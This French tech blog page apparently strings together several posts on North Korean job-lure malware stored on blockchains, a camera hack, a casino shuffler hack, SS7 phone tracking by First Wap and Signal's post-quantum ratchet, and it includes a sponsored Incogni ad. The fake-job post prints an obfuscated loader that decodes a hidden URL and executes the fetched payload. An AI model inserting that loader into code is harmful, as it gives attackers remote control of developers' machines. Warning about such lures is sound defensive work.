La blockchain, cette technologie impossible à censurer, car décentralisée par essence vient de devenir l’arme parfaite d’un régime totalitaire. Parce que figurez-vous, quand vous stockez du malware dans un smart contract sur Ethereum ou la BNB Smart Chain, personne ne peut l’effacer. Même si tout le monde sait qu’il est là et même si vous avez l’adresse exacte.

C’est tout le concept !

Cette adresse, 0x8eac3198dd72f3e07108c4c7cff43108ad48a71c c’est donc le smart contract que les Nord-Coréens ont utilisé et Google a observé depuis plus de 20 mises à jour sur ce contrat en l’espace de 4 mois. Le coût de chaque transaction est d’environ 1,37 dollar, soit le prix d’un café que la Corée du Nord doit payer pour déployer et mettre à jour son infrastructure d’attaque qui devient ainsi permanente et indestructible.

Un missile balistique ça coûte des millions alors que ce genre de “cyber missile” stocké sur la blockchain ça coûte rien et le retour sur investissement est colossal. On parle de 2 milliards de dollars volés rien qu’au premier semestre 2025 . En février dernier, le groupe Lazarus (même famille, autre branche) a même éussi le plus gros casse crypto de l’histoire en volant 1,5 milliard de dollars à l’exchange Bybit . Depuis 2017, ce serait donc au total plus de 6 milliards volés et devinez où va cet argent ?

Dans le programme de missiles de la Corée du Nord et dans le contournement des sanctions internationales.

La campagne s’appelle “Contagious Interview” et elle cible spécifiquement les développeurs. Les Nord-Coréens créent de fausses boîtes avec des noms qui sonnent bien, genre “BlockNovas LLC”, montent des sites web complets, des profils LinkedIn qu’ils entretiennent pendant des mois, et ils vous contactent comme de vrais recruteurs. Ils vous font alors passer par toutes les étapes d’un processus de recrutement classique, déplacent la conversation sur Telegram ou Discord pour faire plus naturel, et finissent par vous envoyer ce fameux “test technique” hébergé sur GitHub.

Le code contient un loader JavaScript appelé JADESNOW qui va alors interroger la blockchain via des appels en lecture seule. Ça ne coûte rien en frais de transaction, ça n’alerte personne, et ça récupère le payload chiffré stocké dans le smart contract. Une fois déchiffré, ça déploie alors d’autres malwares aux noms charmants comme INVISIBLEFERRET, PITHOOK ou COOKIENET.

Et leur seul but c’est de voler vos cryptos, bien sûr, mais aussi installer un accès persistant à votre machine pour de futures opérations.

On est donc très loin ici du schéma du hacker solitaire dans son sous-sol. Là on parle d’équipes entières financées par un état, avec des objectifs militaires clairs, qui ont le temps et les ressources pour monter des opérations de social engineering sur plusieurs mois. Ils utilisent même la technique du “ClickFix” qui consiste à afficher un faux message d’erreur qui pousse l’utilisateur à installer quelque chose pour “corriger” le problème. Ça exploite notre réflexe naturel de vouloir réparer ce qui est cassé et le pire dans tout ça, c’est que les plateformes comme LinkedIn ou GitHub sont coincées.

Bah oui, comment voulez-vous distinguer un vrai recruteur d’un faux quand l’attaquant a trois mois devant lui pour construire une identité crédible ?

Bref, les développeurs blockchain sont devenus les nouvelles cibles premium et contrairement à une banque ou une plateforme crypto qui a des équipes sécurité, ceux là sont tout seuls derrière leur écran.

Selon les chercheurs de Mandiant , UNC5342 utilise cette technique depuis février 2025 au moins donc si vous bossez dans la blockchain, faites gaffe. Si vous recevez des offres, posez-vous des questions parce que financer des missiles nord-coréens, c’est pas vraiment le genre de side project qu’on veut sur son CV ^^.

Source

On est bientôt en pleine Cybersecurity Week, et si vous avez encore votre numéro de téléphone, votre adresse ou pire – votre salaire estimé – qui traîne sur des dizaines de sites louches, c’est le moment ou jamais de passer à l’action. Parce que non, ce n’est pas juste “un peu gênant”. C’est une brèche béante dans votre vie privée, et elle coûte cher.

Laisser traîner ses données personnelles, c’est accepter d’être la cible d’hameçonnages, de publicités agressives ou pire, devenir une variable dans des scénarios de fraude. Les courtiers en données collectent et revendent tout ce qu’ils peuvent glaner en ligne — identité, préférences, historiques d’achat ou de navigation, parfois même des données sensibles. Une fois ces infos répandues, les conséquences sont imprévisibles.

Rappelez-vous TikTok, qui vient de se prendre 530 millions d’euros d’amende pour avoir baladé les données européennes vers la Chine comme si c’était un sachet de popcorn. Et ce n’est qu’un exemple parmi des centaines. Vos données, c’est de l’or. Un business à 434 milliards de dollars en 2025. Et vous, vous êtes le produit.

Vos infos sont partout. Vraiment partout

Faites le test : tapez votre nom complet sur Google. Ajoutez votre ville si besoin. Vous allez probablement tomber sur une partie ou l’ensemble des données suivantes :

• Votre adresse postale (souvent ancienne, mais toujours visible)
• Votre numéro de portable
• Vos anciens boulots
• Des photos que vous pensiez réservées à vos potes
• Et parfois même une estimation de votre salaire ou de votre patrimoine

Tout ça, ce n’est pas Google qui l’a inventé. Ce sont des data brokers – ces boîtes de l’ombre qui rassemblent, croisent et revendent vos infos à qui veut bien payer. Et elles sont légion. Une étude d’Incogni montre que certaines personnes retrouvent leurs données sur plus de 200 sites différents. Oui, deux-cent.

Et le pire ? Ces données ne restent pas statiques. Elles circulent. Elles sont rachetées, enrichies, croisées avec d’autres sources… jusqu’à ce qu’un inconnu puisse vous appeler en connaissant votre prénom, votre quartier, votre fournisseur d’électricité, et le nom de votre chat.

Le RGPD, c’est bien… mais c’est pas magique

En Europe, on a el famoso RGPD, qui nous donne un droit à l’oubli. Super en théorie, mais en pratique … c’est autre chose. Parce que pour le faire valoir, il faut :

• Identifier tous les sites qui détiennent vos données (“bon chance” comme dirait Liam Neeson)
• Trouver leur formulaire de suppression (s’il existe)
• Envoyer une demande conforme
• Relancer s’ils ne répondent pas
• Recommencer tous les 3 à 6 mois, parce qu’ils recollectent vos infos dès que vous avez le dos tourné

Bref, c’est chronophage, chiant, et peu efficace à grande échelle. Surtout quand on sait que 10 nouveaux data brokers récupèrent vos infos chaque jour.

Alors, comment s’en sortir ?

La bonne nouvelle, c’est que vous n’êtes pas obligé de devenir un expert en droit de la vie privée ni annuler vos week-ends en famille pour remplir des formulaires à la pelle.

Incogni, le service de suppression automatisée de données personnelles , fait exactement ce boulot à votre place. Et franchement, vu le prix, c’est un deal.

Pour une dizaine d’euros par mois (ou moins de 6 €/mois avec le code KORBEN55, merci la Cybersecurity Week), Incogni :

• Scanne en continu plus de 420 data brokers (y compris 150+ bases privées non accessibles au public)
• Envoie des demandes de suppression conformes au RGPD, CCPA, et autres lois locales
• Relance automatiquement tous les 60 à 90 jours pour éviter que vos données ne réapparaissent
• Vous permet de demander la suppression sur n’importe quel site via la fonction “custom removals” (disponible sur le plan Illimité)

Résultat après 3 ans d’utilisation de mon côté ? 232 suppressions confirmées. Et ce n’est pas du flan : Incogni est la première entreprise du secteur à avoir fait auditer ses résultats par Deloitte. Oui, 245 millions de suppressions réussies à l’échelle mondiale, vérifiées par un tiers indépendant.

Attention aux apps gratuites – surtout si elles ne sont pas européennes

Pendant que vous vous demandez si vous avez vraiment besoin de ce service, sachez que 88 % des applis américaines et 92 % des applis chinoises partagent vos données avec des tiers. Contre seulement 54 % pour les applications européennes.

Et devinez qui est en tête du classement des plus gros collecteurs ? (on va voir si vous avez retenu la leçon)

• Meta avec Threads & Instagram (37 types de données), WhatsApp (14)
• TikTok est juste derrière avec 24 types
• Les apps de streaming : Prime Vidéo (17), Netflix (12), Disney+ (9) etc.
• ChatGPT (9)
• Signal, lui, se contente de 3. La différence, elle est là.

Les apps de shopping comme Temu ou AliExpress ? Elles aspirent tout ce qu’elles peuvent. Les apps de fitness ou de santé mentale ? Elles vendent vos données les plus intimes sans sourciller.

Et on ne parle pas ici de votre simple adresse mail ou votre géolocalisation, mais bien de vos tendances politiques, orientations sexuelles, score de crédit, etc.

Selon l’étude (et pour donner des exemples concrets) : Netflix récolte vos enregistrements vocaux, Temu récupère la liste de toutes les applis que vous utilisez, Meta (en dehors de WhatsApp) récupère vos calendriers, vos photos et vos vidéos à des fins marketing, etc.

Donc non, “je ne poste rien de sensible” ne suffit plus. Vos données fuient de partout, souvent sans que vous le sachiez.

Et pour les entreprises ?

Incogni propose aussi le plan Ironwall360, une version dédiée aux entreprises, administrations, tribunaux ou forces de l’ordre. Parce que quand on est juge, avocat, ou travailleur social, voir ses coordonnées publiques peut vite devenir un problème de sécurité bien réel. Ironwall gère ça avec une approche sur mesure, des équipes dédiées, et un support 24/7 – y compris en urgence.

Mais pour nous, simples mortels, le plan perso suffit largement. Surtout avec la promo pour la Cybersecurity Week qui battra bientôt son plein (du 17 au 20 novembre à Rennes). Pour rappel la CW fédère pros et passionnés, avec pour leitmotiv la souveraineté numérique et la résilience. D’année en année, la cybersécurité évolue, mais l’exploitation des données personnelles y sera de nouveau présente. Surtout face à la montée croissante des menaces liées à l’intelligence artificielle et la manipulation automatisée de l’identité numérique.

Faut-il vraiment payer pour ça ?

Techniquement, non. Vous pouvez tout faire vous-même. Mais combien de temps ça va vous prendre ? Combien de fois allez-vous devoir relancer ? Et surtout : combien de fois allez-vous oublier de le faire (parce que la flemme quoi, y’a la dernière saison de Stranger Things à mater), avant que vos infos ne réapparaissent sur un nouveau site de merde pas top ? Un parcours éprouvant qui rebute le plus motivé des internautes.

Alors pendant cette Cybersecurity Week, faites-vous un cadeau : reprenez le contrôle.

👉 Profitez des -55 % avec le code KORBEN55

À moins de 6 €/mois (soit bien moins cher que ses concurrents directs), Incogni fait le sale boulot à votre place, en continu, sans que vous ayez à lever le petit doigt. C’est moins cher qu’un café par semaine. Et franchement, entre votre prochain café et votre tranquillité d’esprit, le choix est vite fait (cette phrase ne s’applique pas forcément entre 6h et 8h du matin).

Effacer complètement sa présence en ligne ? Impossible.
Mais la réduire drastiquement, limiter les fuites, couper les vivres aux data brokers ? Oui, c’est possible. Et avec Incogni, c’est même devenu accessible à tout le monde.

→ Cliquez ici pour en savoir plus sur Incogni ←

Vous avez une caméra de surveillance connectée chez vous ? Du genre petite caméra Yi à 15 balles achetée sur AliExpress pour surveiller le salon ou le chat quand vous n’êtes pas là ? Alors tenez-vous bien parce qu’un chercheur a réussi à faire tourner DOOM dessus. Et sans toucher au firmware s’il vous plait ! Il a juste exploité le stream vidéo et quelques bugs bien sentis de l’appareil.

Luke M a publié son projet Yihaw sur GitHub et ça fait un peu peur car si quelqu’un peut hijacker le stream de votre caméra pour y balancer un FPS des années 90, il peut aussi faire pas mal d’autres trucs beaucoup moins rigolos.

Le hack est assez cool d’ailleurs car ces caméras Yi tournent sur un petit processeur ARM sous Linux. Elles ont donc une app mobile qui vous permet de voir le stream en temps réel et Luke M a trouvé plusieurs vulnérabilités dans la stack réseau de la caméra. Je vous passe les détails mais avec ces bugs, il peut injecter du code arbitraire sans modifier le firmware.

Il peut alors créer trois threads qui tournent en parallèle. Le premier récupère les frames YUV420p directement depuis le capteur de la caméra. Le deuxième convertit ça en h264. Le troisième, au lieu d’envoyer le flux vidéo normal, envoie DOOM. Du coup, vous ouvrez l’app Yi IoT sur votre smartphone et vous voyez le Doomguy buter des demons au lieu de voir votre salon. C’est rigolo, hein ?

Ces caméras Yi, il y en a des millions installées partout dans le monde. Bureaux, maisons, magasins…etc car elles sont pas chères, elles marchent plutôt bien, elles ont une app correcte, mais leur sécurité c’est une vraie passoire. C’est bourré de bugs qu’on trouve en une après-midi avec un fuzzer basique.

Luke M liste plusieurs exploits dans son repo GitHub et c’est un vrai buffet à volonté pour quelqu’un qui veut prendre le contrôle de ces caméras. Bien sûr ce serait illégal alors personne ne le fait, surtout parce que ça demande quand même un peu de boulot pour chaque modèle de caméra. Mais les outils existent, les vulnérabilités sont connues, et si un chercheur solo peut le faire pour s’amuser avec DOOM, imaginez ce qu’un botnet bien pensé pourrait faire.

Tous ces trucs qu’on a chez nous, qui tournent sur du Linux embarqué avec des stacks réseau écrites à l’arrache par des équipes chinoises sous-payées qui doivent sortir un produit tous les trois mois.

C’est beau non ?

Source (c’est du PDF)

Vous avez peur que l’IA prenne votre boulot ? Et bien David Dodda, lui, a failli se faire avoir par un faux boulot et c’est son IA qui l’a sauvé ! Je vous explique !

Tout commence classiquement sur LinkedIn. David reçoit un message de Mykola Yanchii, Chief Blockchain Officer chez Symfa, une boîte qui développe des plateformes blockchain. Le profil LinkedIn a l’air béton… Il a plus de 1000 connexions, une page entreprise nickel, bref tout respire le sérieux.

Et son message est pro, poli, et propose à David un poste à temps partiel sur BestCity, une plateforme immobilière. Bref, c’est le genre d’opportunité qu’on ne refuse pas quand on est développeur freelance comme David.

Le premier rendez-vous par visio se passe très bien. Le recruteur connait son sujet, pose les bonnes questions, explique le projet et ensuite, comme dans 99% des processus de recrutement tech, on envoie à David un test technique à réaliser chez lui. Il s’agit d’un projet hébergé sur Bitbucket, du code React et Node.js bien propre et sa mission c’est de compléter quelques fonctionnalités et renvoyer le tout avant la prochaine réunion.

Sauf que David, lui, a pris un réflexe que peu de gens ont. Avant même de lancer npm install, il a demandé à son assistant IA (Cursor) de scanner le code pour détecter d’éventuels patterns suspects. Et là, bingo ! L’IA trouve un truc louche dans le fichier server/controllers/userController.js.

Il s’agit d’un malware qui était bien planqué dans une fonction asynchrone complètement obfusquée. Un tableau d’octets encodé en ASCII qui, une fois décodé en UTF-8, révèle une URL pointant vers une API externe. Et cette URL récupère un payload qui est ensuite exécutée avec tous les privilèges Node.js. Cela débouche à sur un accès complet au système, aux credentials, aux wallets crypto, aux données clients…etc. Le jackpot pour un attaquant !

//Get Cookie
(async () => {
 const byteArray = [
 104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 110, 112, 111, 105,
 110, 116, 46, 105, 111, 47, 50, 99, 52, 53, 56, 54, 49, 50, 51, 57, 99, 51,
 98, 50, 48, 51, 49, 102, 98, 57
 ];
 const uint8Array = new Uint8Array(byteArray);
 const decoder = new TextDecoder('utf-8');
 axios.get(decoder.decode(uint8Array))
 .then(response => {
 new Function("require", response.data.model)(require);
 })
 .catch(error => { });
})();

Et le truc flippant, c’est le niveau de sophistication de l’opération car là on n’a pas affaire à un script kiddie qui balance un trojan par email. Non, c’est une vraie infrastructure professionnelle avec un profil LinkedIn premium, un Calendly pour la prise de rendez-vous, un Bitbucket privé, du code source propre et fonctionnel (hormis le malware planqué). Et surtout, l’URL du malware est devenue HS 24 heures à peine après l’attaque. C’est donc une infrastructure éphémère qui laisse zéro trace.

Si je relaye ce témoignage de David c’est parce que ce genre d’attaque se multiplie. Ce n’est pas un cas isolé… Par exemple le groupe nord-coréen Lazarus utilise cette technique depuis des mois, en créant de fausses entreprises crypto, de faux profils de recruteurs sur LinkedIn, Upwork, Freelancer, et en ciblant spécifiquement les développeurs. Le malware déployé s’appelle BeaverTail, et il installe ensuite un backdoor Python baptisé InvisibleFerret qui fonctionne sur Windows, Linux et macOS. Ce truc vise surtout les extensions de navigateur comme MetaMask ou Coinbase Wallet, récupère tous les mots de passe stockés, et collecte tout ce qui traine.

Alors pourquoi ça marche aussi bien ?

Hé bien parce que les hackers exploitent nos biais cognitifs. L’ambition de décrocher un bon job, la politesse pour ne pas vexer un recruteur, l’urgence créée artificiellement pour qu’on ne prenne pas le temps de réfléchir, la peur de rater une opportunité. Bref, toutes ces émotions qui court-circuitent notre esprit critique.

Heureusement que David a lancé une analyse IA du code sinon, il aurait eu de gros problèmes. Ça prend 30 secondes comme geste barrière et ça peut vous sauver des milliers d’euros et des centaines d’heures de galère.

Si David n’avait pas eu ce réflexe, il aurait lancé npm install, puis npm start, et le malware se serait exécuté en arrière-plan pendant qu’il codait tranquillement ses fonctionnalités. L’attaquant aurait alors eu accès à tout : Ses identifiants GitHub, ses clés SSH, ses tokens d’API, ses wallets crypto si il en a et peut-être même les données de ses clients. Le cauchemar absolu.

Voilà, donc méfiez vous de ce qui arrive via des plateformes de recrutement, on ne sait jamais ! Vous n’aurez peut être pas le job mais vous garderez votre ordinateur propre, vous conserverez vos cryptos, vos mots de passe et vos clients et ça c’est déjà pas si mal !

Source

Vous connaissez peut-être ces machines à mélanger les cartes qu’on trouve dans tous les casinos américains ?

Moi je ne savais même pas que ça existait, mais apparemment, le Deckmate 2, fabriqué par Shufflemaster (devenu depuis Light and Wonder), c’est la Rolls des shufflers. Un shuffler c’est pas un légume dégeu, c’est un mélangeur de cartes et on en trouve notamment au World Series of Poker (La biz à Patrick Bruel ^^), et dans tous les grands poker rooms de Vegas.

Cela permet d’automatiser le mélange pour accélérer le jeu et surtout éviter que ceux qui distribuent les cartes (les dealers) trichent avec de faux mélanges. La machine a même une caméra intégrée qui scanne chaque carte pour détecter si quelqu’un essaie de retirer un as ou d’ajouter un sept de pique.

En septembre 2022, il y a eu un scandale qui a secoué le monde du poker. Au Hustler Casino Live de Los Angeles, une joueuse relativement débutante, Robbi Jade Lew, gagne un pot de 269 000 dollars avec un call complètement fou. Elle avait valet-quatre dépareillés (un truc nul), et son adversaire Garrett Adelstein bluffait avec huit-sept. Techniquement, son call était correct, mais aucun joueur sensé n’aurait misé 109 000 dollars sur une main pareille sans savoir que l’adversaire bluffait… Le casino a donc lancé une enquête et conclu que le shuffler ne pouvait pas être compromis.

Mais même si ce n’était pas le cas pour cette affaire, est ce que c’est vrai ? Est ce qu’un Deckmate 2 peut être hacké ? Pour le chercheur en sécurité, Joseph Tartaro, ça s’est présenté comme un nouveau défi personnel !

Il a donc acheté un Deckmate 2 d’occasion avec deux collègues et a passé des mois à le démonter… pour finalement trouver quelques trucs intéressants, vous allez voir.

Il a découvert que la machine a un port USB accessible sous la table, là où les joueurs posent les genoux. Tartaro a donc créé un mini-ordinateur de la taille d’une clé USB qui, une fois branché, réécrit le firmware de la machine. La seule sécurité qu’il y a, c’est au démarrage, quand la machine vérifie que le code n’a pas changé en comparant son empreinte à une valeur connue.

C’est une simple comparaison de hash et le problème est que Tartaro peut modifier cette valeur de référence aussi… Du coup, le système de vérification contrôle que le code piraté correspond au hash piraté. C’est ballot ^^. Et une fois le firmware modifié, la machine continue à fonctionner normalement sauf qu’elle transmet maintenant l’ordre exact des 52 cartes via Bluetooth vers une app smartphone. Et comme la caméra interne de ce Deckmate 2 scanne déjà toutes les cartes pour détecter les fraudes, il suffit d’exploiter cette fonctionnalité.

Un journaliste de Wired a décidé de mettre ça en pratique dans des conditions réelles et vous allez voir, c’est sympa à voir.

Ce 14 octobre 2025, Lighthouse Reports a balancé une enquête mondiale qui fait actuellement trembler l’industrie de la surveillance. Pour cette enquête titanesque, ce sont 70 journalistes de 14 médias différents dont Le Monde, Der Spiegel et Mother Jones qui ont bossé pendant des mois sur le même dossier et celui-ci est explosif.

Leur sujet c’est First Wap, une boîte indonésienne qui a discrètement espionné au fil des années, plus de 14 000 numéros de téléphone dans 168 pays grâce à un logiciel baptisé Altamides. Leurs cibles sont des journalistes d’investigation, des activistes, des PDG, des célébrités, même la fondatrice de 23andMe. Et ils ont fait tout cela, en exploitant une faille vieille comme le monde dans les réseaux télécoms.

L’un des cofondateurs de First Wap est même français et s’appelle Pascal Lalanne. Il a crée cette boîte en 1999 à Jakarta avec Josef Fuchs, un Autrichien au destin hors du commun, mais avant de vous raconter comment ils ont construit cet empire de la surveillance, rembobinons un peu pour comprendre toute cette histoire depuis le début…

Direction 1984, l’année où Josef Fuchs, jeune ingénieur autrichien de Siemens fraîchement débarqué de son Tyrol natal, pose ses valises à Jakarta pour ce qui devait être une mission de trois mois. Il doit installer des systèmes de télécommunications pour le tout nouveau aéroport de Cengkareng. L’Indonésie représente son dernier contrat avec Siemens après huit ans de bons et loyaux services.

Sauf que Fuchs tombe amoureux du pays, de sa culture, et de ses possibilités infinies. En 1989, fidèle à ses racines européennes, il retourne en Allemagne de l’Est juste après la chute du Mur pour monter une boîte et une école. Le projet est un succès qui perdure encore aujourd’hui, mais l’appel de l’Asie reste plus fort.

Le 1er janvier 1995, Fuchs reçoit un fax décisif d’un ami indonésien : “La dérégulation est arrivée. Tu viens ?” Quatre jours plus tard, le 5 janvier, il embarque direction Jakarta. Cette fois, c’est pour bosser chez Telkomsel, l’un des plus gros opérateurs télécoms indonésiens qui émerge de cette nouvelle ère de libéralisation du marché.

Et c’est là, dans les entrailles de Telkomsel, que Fuchs comprend. Il passe ses journées à plonger dans les réseaux téléphoniques indonésiens et voit passer des millions de signaux de communication entre les opérateurs du monde entier. Tous transitent par le même protocole ancestral : SS7, pour Signalling System 7.

Développé par AT&T en 1975 et standardisé en 1980 , SS7 représente le système nerveux des télécommunications mondiales. Concrètement, quand vous appelez quelqu’un à l’étranger, c’est SS7 qui fait transiter l’appel d’un opérateur à l’autre. Quand vous recevez un SMS en vacances au bout du monde, c’est SS7 qui route le message. Le système est omniprésent, invisible, et surtout terriblement obsolète.

Le souci c’est que SS7 n’a jamais été conçu pour être sécurisé. À l’époque de sa création, seuls les opérateurs télécoms publics y avaient accès et on leur faisait une confiance aveugle. Donc pas de vérification d’identité forte, pas de chiffrement costaud, rien. Une confiance naïve qui date d’une ère où Internet n’existait pas encore.

Fuchs réalise le potentiel colossal de cette faiblesse structurelle et fonde en 1999 First Wap avec Pascal Lalanne, ce Français dont on ne sait presque rien encore aujourd’hui. L’association Fuchs-Lalanne est un duo Franco-Autrichien redoutable : l’un apporte l’expertise technique accumulée chez Siemens et Telkomsel, l’autre la vision business et les connexions en Asie du Sud-Est.

First Wap démarre initialement dans la messagerie électronique par SMS, un service qui cartonne en Asie où les téléphones portables se multiplient à une vitesse folle. Mais en 2000, la bulle Internet explose et tout le secteur tech vacille. Lalanne quitte alors le navire en 2004 , revend ses parts et disparaît ensuite complètement des radars. Depuis vingt ans, c’est silence radio total. Aujourd’hui, on sait juste qu’il s’est reconverti dans l’écologie et a dirigé un sanctuaire naturel à Lombok, en Indonésie. Un virage à 180 degrés.

Mais Fuchs, lui, continue. Et il a une idée qui va révolutionner le marché de la surveillance.

Début des années 2000, Fuchs et son équipe créent alors Altamides. Le nom signifie Advanced Location Tracking and Mobile Information and Deception System. L’idée c’est d’exploiter SS7 pour faire croire au réseau télécom que vous êtes un opérateur légitime. Cela permet de localiser n’importe quel téléphone en temps réel, d’intercepter des SMS, d’écouter des appels, et même de pirater WhatsApp (oui, je vous explique tout après).

Pas besoin d’infecter le téléphone de la victime comme avec Pegasus ou un logiciel espion complexe qui coûte des millions. Non, Altamides opère au niveau du réseau télécom lui-même , ce qui le rend plus discret, plus simple à déployer, et surtout ça fonctionne partout dans le monde sans exception.

Techniquement parlant, First Wap loue des Global Titles (des adresses réseau utilisées par le protocole SS7) auprès d’opérateurs complaisants, notamment Mobilkom Liechtenstein . Ces adresses leur permettent d’envoyer des requêtes de localisation qui semblent parfaitement légitimes aux yeux des réseaux télécoms mondiaux. Le système ne peut tout simplement pas faire la différence.

Pour vous la faire simple, si votre téléphone est allumé, Altamides peut vous trouver où que vous soyez sur la planète. Et vous ne vous en rendrez jamais compte. Aucune trace sur votre appareil, aucun signe d’infection, aucune batterie qui chauffe bizarrement… C’est l’outil d’espionnage parfait.

L’enquête de Lighthouse Reports permet de mettre la main sur 1,5 million d’enregistrements de tracking récupérés sur le dark web. On parle ici de plus de 14 000 numéros uniques espionnés dans 168 pays entre 2007 et 2014. Mais le vrai chiffre est probablement bien plus élevé puisque l’archive ne représente qu’une fraction de l’activité totale d’Altamides.

Plus c’est violet, plus y’a de cibles. L’Indonésie, et le Nigeria sont particulièrement touchés

Et leur tableau de chasse est hallucinant…

Gianluigi Nuzzi, journaliste d’investigation italien spécialisé dans les affaires vaticanes, publie en mai 2012 son livre explosif “Sua Santità” (Sa Sainteté : Les papiers secrets de Benoît XVI). L’ouvrage révèle des documents confidentiels montrant corruption, luttes de pouvoir et opacité financière au cœur du Vatican. C’est le début du scandale “Vatileaks”.

Et quelques heures seulement après la sortie du bouquin, son téléphone se retrouve tracké par Altamides. Ainsi, pendant que la police vaticane recherche désespérément sa source, quelqu’un d’autre suit Nuzzi à la trace via son smartphone. Les requêtes Altamides tombent d’abord manuellement et irrégulièrement, puis deviennent automatiques à partir du 22 mai. Toutes les heures, à la minute près, soit près de 200 localisations en une semaine.

Le tracking montre Nuzzi à Milan près de son ancien appartement, sur l’autoroute en direction de Rome, dans le centre historique près de la fontaine de Trevi, à l’aéroport et chaque déplacement est méticuleusement consigné.

Quelqu’un voulait savoir s’il rencontrait sa source et où.

Le 23 mai 2012, cinq jours après le début de la surveillance, la gendarmerie vaticane arrête Paolo Gabriele, le majordome personnel du pape depuis 2006. L’homme de 46 ans avait un accès privilégié au bureau privé de Benoît XVI et utilisait le photocopieur du bureau partagé avec les deux secrétaires papaux pour copier documents et lettres confidentielles marquées “à détruire”. Il transmettait ensuite ces copies à Nuzzi lors de rencontres nocturnes dignes d’un thriller hollywoodien à base de longs trajets en voiture pour s’assurer qu’ils n’étaient pas suivis, avec des rencontres dans un appartement vide avec une seule chaise où attendait la source au nom de code “Maria”.

Le 24 mai, le lendemain de l’arrestation de Gabriele, le tracking de Nuzzi s’arrête net. Mission accomplie ? Les documents internes révèlent que la société britannique KCS Group, revendeur d’Altamides, avait présenté le système à des “gens du V.” (le Vatican) à Milan quelques jours avant l’arrestation. La présentation incluait les cartes de déplacement de Nuzzi en temps réel. Le Vatican n’a jamais répondu aux questions des journalistes sur cette affaire.

Paolo Gabriele sera condamné à 18 mois de détention pour vol aggravé. Il dira avoir agi pour dénoncer le “mal et la corruption” qu’il voyait autour du pape, manipulé par son entourage. Benoît XVI le graciera après quelques mois et Gabriele décédera en novembre 2020 à 54 ans d’une longue maladie.

Autre cible, Patrick Karegeya, ancien chef des renseignements extérieurs du Rwanda et bras droit de Paul Kagame, vit en exil forcé en Afrique du Sud depuis 2007. Après avoir aidé Kagame à prendre le pouvoir en 1994, il est tombé en disgrâce, emprisonné deux fois pour “insubordination”, et a fui pour échapper à un sort pire encore. Avec le Général Kayumba Nyamwasa (ancien chef d’état-major), il fonde le Rwanda National Congress, principal mouvement d’opposition en exil.

L’archive d’Altamides montre qu’en janvier 2012, le téléphone d’Emile Rutagengwa, chauffeur et garde du corps de Karegeya, est tracké à plusieurs reprises. En mai, c’est Rosette Nyamwasa, l’épouse du Général, qui devient une cible. Quelqu’un cartographie méthodiquement l’entourage des deux opposants.

Le soir du 31 décembre 2013, Karegeya a rendez-vous au luxueux hôtel Michelangelo Towers de Sandton, le quartier d’affaires huppé de Johannesburg, avec Apollo Kiririsi Gafaranga, un homme d’affaires rwandais qu’il connaît depuis l’époque où il dirigeait les services secrets. À 19h46, Karegeya envoie un dernier message rassurant à son neveu David Batenga. Tout va bien, il est avec Apollo.

Le 1er janvier 2014 vers 17h30, le personnel de l’hôtel découvre Karegeya étranglé dans la chambre 905, une serviette ensanglantée et une corde retrouvées dans le coffre-fort de la chambre. Apollo Kiririsi a disparu et a déjà pris un vol pour Kigali. La surveillance Altamides a précédé cet assassinat de 18 mois.

Dans les jours suivant le meurtre, des officiels rwandais se réjouissent publiquement. La ministre des Affaires étrangères Louise Mushikiwabo tweete : “Ce n’est pas comment tu commences qui compte, c’est comment tu finis. Cet homme s’est déclaré ennemi de mon gouvernement et de mon pays. Vous attendez de la pitié ?” Le ministre de la Défense James Kabarebe est encore plus brutal : “Quand tu choisis d’être un chien, tu meurs comme un chien.”

Kagame lui-même déclare publiquement quelques jours plus tard : “Toute personne encore en vie qui complote contre le Rwanda, qui qu’elle soit, paiera le prix. Les conséquences sont les conséquences.” En 2019, un juge sud africain révèle que “des liens étroits existent entre les suspects et le gouvernement rwandais actuel”. Mais aucun des suspects n’a jamais été arrêté et continuent de vivre tranquillement au Rwanda.

L’apocalypse de l’informatique quantique, c’est un truc que les experts annoncent régulièrement depuis 30 ans. Et cette fois ça commence à se préciser car si j’en crois Gartner , c’est pour 2029 - 2034 !

C’est le “on verra ça la semaine prochaine” éternel de la sécurité informatique, sauf que pendant que tout le monde rigole nerveusement en se disant on a le temps, Signal, eux s’attaquent sérieusement au sujet. Et il viennent de publier un write-up technique assez long expliquant comment ils ont déjà régler le problème.

Actuellement, seulement 18% des entreprises du Fortune 500 ont des réseaux protégés contre les ordinateurs quantiques donc autant vous dire que pas grand monde n’est prêt. Heureusement, on va tous pouvoir s’inspirer de ce qu’a fait Signal qui a mis au point un nouveau système baptisé SPQR (Sparse Post Quantum Ratchet, que j’imagine être un jeu de mot avec le SPQR romain… ).

Le problème, c’est que la cryptographie post-quantique, c’est pas juste une mise à jour de sécurité comme les autres. Concrètement, les nouvelles clés cryptographiques résistantes aux ordinateurs quantiques (ML-KEM-768, pour les intimes) font 2 272 bytes alors que les anciennes clés ECDH ne sont que de 32 bytes. C’est donc 71 fois plus gros et donc nos échanges chiffrés vont consommer encore plus de bande passante.

Et ça, c’est juste la partie visible du problème car Signal, c’est pas WhatsApp qui peut se permettre de dire “tant pis, on a de la thune, on va juste consommer plus de bande passante”. Non, Signal lui doit fonctionner partout c’est à dire aussi bien sur les vieux téléphones, que sur les réseaux pourris, ou dans les pays où les gouvernements surveillent activement le trafic. Et tout ça en restant plus sécurisé que n’importe quel autre service. C’est pas évident donc…

En 2023, Signal avait déjà fait une première mise à jour post-quantique avec PQXDH . L’idée, c’était de sécuriser la phase d’initialisation des conversations (le fameux handshake) au travers d’une approche hybride. En gros, on garde l’ancienne méthode X25519 et on ajoute un Kyber-1024 par-dessus, comme ça, même si les ordinateurs quantiques cassent l’une des deux protections, l’autre tient encore.

C’est malin, mais bon, ça ne suffisait pas car le handshake, c’est juste le début pour initialiser la conversation. Alors Signal a mis au point un système appelé le “Double Ratchet” qui fait évoluer les clés de chiffrement en permanence. Ainsi, à chaque message envoyé ou reçu, hop, de nouvelles clés sont générées. C’est ce qui donne à Signal ses super-pouvoirs : la forward secrecy (en gros, ça veut dire que si on vous pirate aujourd’hui, on ne peut pas déchiffrer vos vieux messages) et la post-compromise security (si on vous pirate, vous récupérez automatiquement une connexion sécurisée après quelques échanges).

Ce Double Ratchet, c’était une merveille d’ingénierie, sauf que devinez quoi… il repose entièrement sur ECDH, qui sera totalement cassable par les ordinateurs quantiques d’ici quelques années.

Donc il a fallu tout repenser !

Signal a donc ajouté un troisième ratchet au système. Un Triple Ratchet, le SPQR, qui fonctionne en parallèle des deux autres et injecte régulièrement des secrets post-quantiques dans le mélange.

